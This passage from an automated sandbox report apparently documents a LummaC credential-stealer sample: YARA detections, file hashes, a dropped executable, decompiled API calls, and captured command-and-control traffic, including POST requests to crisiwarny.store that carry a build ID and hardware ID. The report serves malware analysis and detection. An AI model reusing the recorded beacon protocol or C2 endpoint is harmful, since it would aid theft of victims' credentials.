2024-10-27 16:55:14 UTC	15331	OUT	Data Raw: 7f cf 30 d6 df 5c c9 a7 85 68 9d a9 f3 0e d8 a9 57 d1 e8 fd 90 ee b1 f8 44 a1 8c d9 1d 66 93 09 8b 1a 5d d1 69 80 98 3e ab 59 01 15 c4 d2 31 8c 28 a4 9f e2 a8 b1 44 01 84 4d ab de 15 ef 05 a6 af f6 32 97 9e 1f 73 43 12 9f 79 e8 3d fc ab 08 4a 60 26 81 a8 31 01 47 0d 81 97 3c d8 cd b4 07 29 91 54 98 f3 ef 6d a3 ef 6e 22 65 83 c2 67 a1 85 2e 00 3b a2 0c 92 1c 1d 02 45 ae 61 01 b4 de 25 a6 67 a2 b0 e0 9e 1c b3 73 21 5c e3 a1 79 55 28 12 ab b8 de b5 69 1a 1d 89 8a 8a 8e 1a eb 98 87 ad 8c dd b3 b0 e8 20 4f 91 8c 56 e1 73 a6 d8 16 b3 03 87 53 af 0a 8a 83 47 27 19 c6 1a 02 97 d0 40 4e 69 fb 81 e8 e9 44 46 e2 71 52 1b a2 c1 fd 0e 56 b0 ef 05 47 14 24 16 81 96 2f 8c b5 d3 a0 1a 27 21 5d 96 ed 75 fd 70 cb 21 b6 09 34 ca b8 57 fa 90 a1 12 ad e3 5a 64 de 6b d9 61 39 Data Ascii: 0\hWDf]i>Y1(DM2sCy=J`&1G<)Tmn"eg.;Ea%gs!\yU(i OVsSG'@NiDFqRVG$/'!]up!4WZdka9
2024-10-27 16:55:14 UTC	15331	OUT	Data Raw: 81 c3 bc 25 cc a0 e8 04 61 66 6f 68 d3 8b b9 3f c1 46 e3 dc 5f 4a 89 95 7b aa b8 1f 87 c7 d6 76 a0 51 1b b5 14 fa 70 38 85 3b 3b 37 4e 77 4b 6d a2 cd b3 e9 01 96 cc 21 65 14 b7 d1 9c 91 40 f9 5d 3b ec 31 b1 e0 37 16 ba f9 9d 33 b8 1e a4 12 e4 67 52 96 1b 20 3a 3b 25 42 ff f3 5e 1f 80 d2 43 29 0f 37 bf b8 d9 6f 11 2c 6e 93 53 78 7a 1c f4 bd bd b0 ee d7 fd 7f 87 bd 0e 40 19 41 0b bb c0 07 1c 39 14 41 95 b8 8a 6d d3 02 5b d9 6a 1b 45 47 da c4 b6 02 a1 a9 c2 98 b2 10 3e 1f 45 a7 0f 3a 17 c9 ef 30 94 96 3f 8f 69 64 be e7 16 5b cb 90 c9 57 82 cc ad 37 b9 ff 6e d9 1d d6 b6 a4 cc 67 e2 01 03 3e 94 ee af 77 23 05 26 fa ee d2 7f 82 1e 0b b2 1d a8 85 3b 9e 02 52 36 dc bd c3 b3 e6 a4 04 44 dd d6 f4 43 04 01 06 1e 85 7d d0 3f 5b 9b 1e 84 b0 41 01 67 46 ef ae 85 a2 00 Data Ascii: %afoh?F_J{vQp8;;7NwKm!e@];173gR :;%B^C)7o,nSxz@A9Am[jEG>E:0?id[W7ng>w#&;R6DC}?[AgF
2024-10-27 16:55:16 UTC	1013	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 16:55:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=vu2tr0eou6q9vjp7qsj334nhk8; expires=Thu, 20 Feb 2025 10:41:55 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hKA5tomritFuklcqzS5PAjbHc3UwObK7aIWfezj7ZJryvt29WM51ZEmGmLd8l2nSQNSkLJauw%2Fad7z6ZktIQtCsiTlBjXSqO9ywrJbpog0tJlXeA1fZQlWOQb1tvXMss4k%2FE"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d94366ec88a45f9-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1813&sent=225&recv=593&lost=0&retrans=0&sent_bytes=2839&recv_bytes=556423&delivery_rate=1574768&cwnd=238&unsent_bytes=0&cid=9cf97601ec9361b7&ts=1947&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.8	49712	104.21.95.91	443	7680	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-27 16:55:17 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 87 Host: crisiwarny.store
2024-10-27 16:55:17 UTC	87	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d 26 68 77 69 64 3d 36 42 42 30 33 42 44 33 35 34 38 30 41 33 35 43 38 32 30 41 33 31 44 46 38 41 36 38 41 33 32 45 Data Ascii: act=get_message&ver=4.0&lid=4SD0y4--legendaryy&j=&hwid=6BB03BD35480A35C820A31DF8A68A32E
2024-10-27 16:55:18 UTC	1003	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 16:55:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=um6ttijbg4s3ks17ap6qttu621; expires=Thu, 20 Feb 2025 10:41:56 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=8GDqUVFrIDH0EU5CN7mvZaM0YUqU5GxFwi4MUUt0IYdgfYVAPWiexQlTDLUPfwCeiVFSKEEPTYc7R0nJVxHI4r9Nyw7xwOiiQLYk3Yk62biZ6CB8ZU%2BG9soLHF419fJRJerw"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d94367eeeba2e27-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1090&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2838&recv_bytes=987&delivery_rate=2544815&cwnd=251&unsent_bytes=0&cid=4543e1e62323277c&ts=521&x=0"
2024-10-27 16:55:18 UTC	130	IN	Data Raw: 37 63 0d 0a 43 6b 78 75 4a 2b 2b 6f 59 33 46 46 79 76 4e 35 55 59 74 72 64 2f 4b 47 4b 57 30 58 41 48 62 65 36 6a 51 44 6f 6b 56 30 58 6f 42 52 4e 30 78 53 7a 5a 4a 42 47 54 47 2b 67 30 4d 4e 70 44 64 59 77 37 34 63 51 79 55 78 51 2f 44 62 42 54 43 4d 64 45 49 43 72 32 55 71 43 48 76 41 7a 41 59 58 61 36 2b 4c 48 48 4f 6e 53 52 47 47 70 42 4e 64 4f 79 49 54 2f 4e 41 45 66 76 38 3d 0d 0a Data Ascii: 7cCkxuJ++oY3FFyvN5UYtrd/KGKW0XAHbe6jQDokV0XoBRN0xSzZJBGTG+g0MNpDdYw74cQyUxQ/DbBTCMdEICr2UqCHvAzAYXa6+LHHOnSRGGpBNdOyIT/NAEfv8=
2024-10-27 16:55:18 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	12:55:02
Start date:	27/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xd80000
File size:	2'995'712 bytes
MD5 hash:	7E8F6D6EB856AAB8B82676176035C78F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1490006976.0000000001927000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1467503932.0000000001927000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1508582893.00000000018D6000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_LummaCStealer, Description: Yara detected LummaC Stealer, Source: 00000000.00000003.1520788007.0000000005E71000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1505216928.00000000018D5000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1505216928.0000000001927000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1467390639.0000000001927000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1490006976.00000000018D5000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_LummaCStealer, Description: Yara detected LummaC Stealer, Source: 00000000.00000003.1551938977.0000000005E71000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1505536352.00000000018D6000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1505536352.0000000001927000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_LummaCStealer, Description: Yara detected LummaC Stealer, Source: 00000000.00000003.1521839857.0000000005E71000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1508552491.000000000192D000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	12:55:23
Start date:	27/10/2024
Path:	C:\Users\user\AppData\Local\Temp\TAW4YM7XHY64JPKK4AWZZOV.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\TAW4YM7XHY64JPKK4AWZZOV.exe"
Imagebase:	0xce0000
File size:	2'793'472 bytes
MD5 hash:	571F62006068A39F4AD351EF6B397F8D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 34%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	3%
Dynamic/Decrypted Code Coverage:	33.3%
Signature Coverage:	0%
Total number of Nodes:	27
Total number of Limit Nodes:	1

Executed Functions

Function 00E75FAA Relevance: 4.6, APIs: 3, Instructions: 76
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyA.ADVAPI32(80000001,?,?), ref: 00E75FF7
RegOpenKeyA.ADVAPI32(80000002,?,?), ref: 00E7601E
GetNativeSystemInfo.KERNELBASE(?), ref: 00E76075

Memory Dump Source

Source File: 00000003.00000002.1780662672.0000000000E70000.00000040.00000001.01000000.00000006.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000003.00000002.1780388522.0000000000CE0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780411163.0000000000CE2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780435987.0000000000CE6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780456306.0000000000CEA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780478063.0000000000CF6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780583298.0000000000E54000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780603942.0000000000E57000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780625685.0000000000E65000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780644774.0000000000E66000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780662672.0000000000E69000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780704247.0000000000E8C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780722182.0000000000E8E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780742909.0000000000EA2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780759823.0000000000EA3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780777535.0000000000EAA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780795862.0000000000EB4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780812664.0000000000EB5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780828698.0000000000EB6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780847012.0000000000EC1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780864267.0000000000EC6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780885003.0000000000ED6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780903191.0000000000EDA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780919451.0000000000EDB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780936926.0000000000EE3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780953282.0000000000EE4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780973740.0000000000EE8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780992763.0000000000EF1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1781010250.0000000000EF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1781028467.0000000000F03000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1781046441.0000000000F0A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1781064597.0000000000F12000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1781081432.0000000000F14000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1781099201.0000000000F15000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1781116783.0000000000F1F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1781135239.0000000000F2D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1781152002.0000000000F2E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1781168546.0000000000F30000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1781186736.0000000000F33000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1781204577.0000000000F3B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1781221485.0000000000F3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1781248433.0000000000F6F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1781265517.0000000000F70000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1781284287.0000000000F79000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1781284287.0000000000F80000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1781322542.0000000000F8E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1781341928.0000000000F90000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ce0000_TAW4YM7XHY64JPKK4AWZZOV.jbxd

Similarity

API ID: Open$InfoNativeSystem
String ID:
API String ID: 1247124224-0
Opcode ID: 7bcef37bae22807b97534f95d37bc956e76fe4b3620f328e52dbff5fa0e0e29a
Instruction ID: 9f9c1dd09beb50141cad59994db935cf15aca8bd6483d8989c4aba867c8b5545
Opcode Fuzzy Hash: 7bcef37bae22807b97534f95d37bc956e76fe4b3620f328e52dbff5fa0e0e29a
Instruction Fuzzy Hash: 2F3145B100420E9FDF21DF50CC48BEF37A8EB05308F105526EA8192950EB764DA8CF5A

Function 00E67FCE Relevance: 1.6, APIs: 1, Instructions: 115
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 00E67FCE

Memory Dump Source

Source File: 00000003.00000002.1780644774.0000000000E66000.00000080.00000001.01000000.00000006.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000003.00000002.1780388522.0000000000CE0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780411163.0000000000CE2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780435987.0000000000CE6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780456306.0000000000CEA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780478063.0000000000CF6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780583298.0000000000E54000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780603942.0000000000E57000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780625685.0000000000E65000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780662672.0000000000E69000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780662672.0000000000E70000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780704247.0000000000E8C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780722182.0000000000E8E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780742909.0000000000EA2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780759823.0000000000EA3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780777535.0000000000EAA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780795862.0000000000EB4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780812664.0000000000EB5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780828698.0000000000EB6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780847012.0000000000EC1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780864267.0000000000EC6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780885003.0000000000ED6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780903191.0000000000EDA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780919451.0000000000EDB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780936926.0000000000EE3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780953282.0000000000EE4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780973740.0000000000EE8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780992763.0000000000EF1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1781010250.0000000000EF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1781028467.0000000000F03000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1781046441.0000000000F0A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1781064597.0000000000F12000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1781081432.0000000000F14000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1781099201.0000000000F15000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1781116783.0000000000F1F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1781135239.0000000000F2D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1781152002.0000000000F2E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1781168546.0000000000F30000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1781186736.0000000000F33000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1781204577.0000000000F3B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1781221485.0000000000F3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1781248433.0000000000F6F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1781265517.0000000000F70000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1781284287.0000000000F79000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1781284287.0000000000F80000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1781322542.0000000000F8E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1781341928.0000000000F90000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ce0000_TAW4YM7XHY64JPKK4AWZZOV.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: f6db75b4f48684f3fde87dcf10361dccdcfc431c6ef420d9a784a7ec469028e9
Instruction ID: 76730dacf713b5f0922d5990c05202f510e566d652ae477dc06e882f7ba14b8b
Opcode Fuzzy Hash: f6db75b4f48684f3fde87dcf10361dccdcfc431c6ef420d9a784a7ec469028e9
Instruction Fuzzy Hash: CB31C1F250C700AFE7056F49D8806BEFBE6FF84371F62892DE6C597610E67548408B56

Function 04FB0D48 Relevance: 1.6, APIs: 1, Instructions: 59
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerW.SECHOST(00000000,00000000,?), ref: 04FB0DCD

Memory Dump Source

Source File: 00000003.00000002.1783124422.0000000004FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4fb0000_TAW4YM7XHY64JPKK4AWZZOV.jbxd

Similarity

API ID: ManagerOpen
String ID:
API String ID: 1889721586-0
Opcode ID: c795e57cb569a00e43748cc2f6a00b5ea99d40f4e5b52de377619951f5f0d44d
Instruction ID: 8a3c6ff08fbebb56c9a18dfdb63ed34d5d9ea791d7ac28f53baa08c0e5529280
Opcode Fuzzy Hash: c795e57cb569a00e43748cc2f6a00b5ea99d40f4e5b52de377619951f5f0d44d
Instruction Fuzzy Hash: 332115B6C012199FDB10DF9AD884BDEFBF4FB89710F14821AD908AB244DB74A545CBA4

Function 04FB0D41 Relevance: 1.6, APIs: 1, Instructions: 59
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerW.SECHOST(00000000,00000000,?), ref: 04FB0DCD

Memory Dump Source

Source File: 00000003.00000002.1783124422.0000000004FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4fb0000_TAW4YM7XHY64JPKK4AWZZOV.jbxd

Similarity

API ID: ManagerOpen
String ID:
API String ID: 1889721586-0
Opcode ID: fcf382c246852829b408e970933436a43047c93173b432e36a22ef0a53e0600e
Instruction ID: dc92d6f8087cfc79b20f7684a4986f3cf3e70854b1e22fa538d8338c645dbc70
Opcode Fuzzy Hash: fcf382c246852829b408e970933436a43047c93173b432e36a22ef0a53e0600e
Instruction Fuzzy Hash: 9C2109B5D012098FDB54CF99D484BDEBBB1FB88310F14851AD908AB244CB34A545CBA4

Function 04FB1510 Relevance: 1.6, APIs: 1, Instructions: 54
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ControlService.ADVAPI32(?,?,?), ref: 04FB1580

Memory Dump Source

Source File: 00000003.00000002.1783124422.0000000004FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4fb0000_TAW4YM7XHY64JPKK4AWZZOV.jbxd

Similarity

API ID: ControlService
String ID:
API String ID: 253159669-0
Opcode ID: 0d33b60042169d93f7c956198d8cf66d33e04a6822c5f4c8c8a071bf9d8456a1
Instruction ID: a03a818ba2603e84f9096bb0a63870f81f801d36c5d96df679bf9b189e08b365
Opcode Fuzzy Hash: 0d33b60042169d93f7c956198d8cf66d33e04a6822c5f4c8c8a071bf9d8456a1
Instruction Fuzzy Hash: 9C11E4B1D003499FDB10DF9AC984BDEFBF4EB48320F108029E959A3250D778A645CFA5

Function 04FB1509 Relevance: 1.6, APIs: 1, Instructions: 52
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ControlService.ADVAPI32(?,?,?), ref: 04FB1580

Memory Dump Source

Source File: 00000003.00000002.1783124422.0000000004FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4fb0000_TAW4YM7XHY64JPKK4AWZZOV.jbxd

Similarity

API ID: ControlService
String ID:
API String ID: 253159669-0
Opcode ID: ec93a24c308b2921f17444e58b24ff4fc077383f0141fe5c3650a3079742cb51
Instruction ID: b8e52798b6053e8eb1c526268c915a80bf71093de077559fd827d4aeb69b5898
Opcode Fuzzy Hash: ec93a24c308b2921f17444e58b24ff4fc077383f0141fe5c3650a3079742cb51
Instruction Fuzzy Hash: B51100B5D00349CFDB10CF9AC584BDEBBF4AB48320F10802AE958A3250C778AA45CFA5

Function 04FB1301 Relevance: 1.6, APIs: 1, Instructions: 50
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ImpersonateLoggedOnUser.KERNELBASE ref: 04FB1367

Memory Dump Source

Source File: 00000003.00000002.1783124422.0000000004FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4fb0000_TAW4YM7XHY64JPKK4AWZZOV.jbxd

Similarity

API ID: ImpersonateLoggedUser
String ID:
API String ID: 2216092060-0
Opcode ID: ff99a8f58d3898cc6790d480e8a99efdcab47ad08fcf44352e8184deff7a118b
Instruction ID: c41bb5232565ccae94296a20ec91f7f97d36e2d828fde4b16545e06fa386672f
Opcode Fuzzy Hash: ff99a8f58d3898cc6790d480e8a99efdcab47ad08fcf44352e8184deff7a118b
Instruction Fuzzy Hash: D11125B1800349CFEB10DFAAD984BDEBBF4EF49320F14842AD558A3650D778A545CFA1

Function 04FB1308 Relevance: 1.5, APIs: 1, Instructions: 47
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ImpersonateLoggedOnUser.KERNELBASE ref: 04FB1367

Memory Dump Source

Source File: 00000003.00000002.1783124422.0000000004FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4fb0000_TAW4YM7XHY64JPKK4AWZZOV.jbxd

Similarity

API ID: ImpersonateLoggedUser
String ID:
API String ID: 2216092060-0
Opcode ID: 48a89bcb067d85be3277b7c11c0373024f0e2f449cf7393ab6bd77e4abb207bc
Instruction ID: 022e6f11a09c92b7528137bda849e2c62833a3016984f76631a02702789d5bb5
Opcode Fuzzy Hash: 48a89bcb067d85be3277b7c11c0373024f0e2f449cf7393ab6bd77e4abb207bc
Instruction Fuzzy Hash: 0D1136B1800349CFEB10DF9AC944BDEFBF8EB48320F14841AD558A3640D778A544CFA5

Function 00E757C8 Relevance: 1.5, APIs: 1, Instructions: 46
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 00E75EEC

Memory Dump Source

Source File: 00000003.00000002.1780662672.0000000000E70000.00000040.00000001.01000000.00000006.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000003.00000002.1780388522.0000000000CE0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780411163.0000000000CE2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780435987.0000000000CE6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780456306.0000000000CEA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780478063.0000000000CF6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780583298.0000000000E54000.00000040.00000001.01000000.00000006.sdmpDownload File
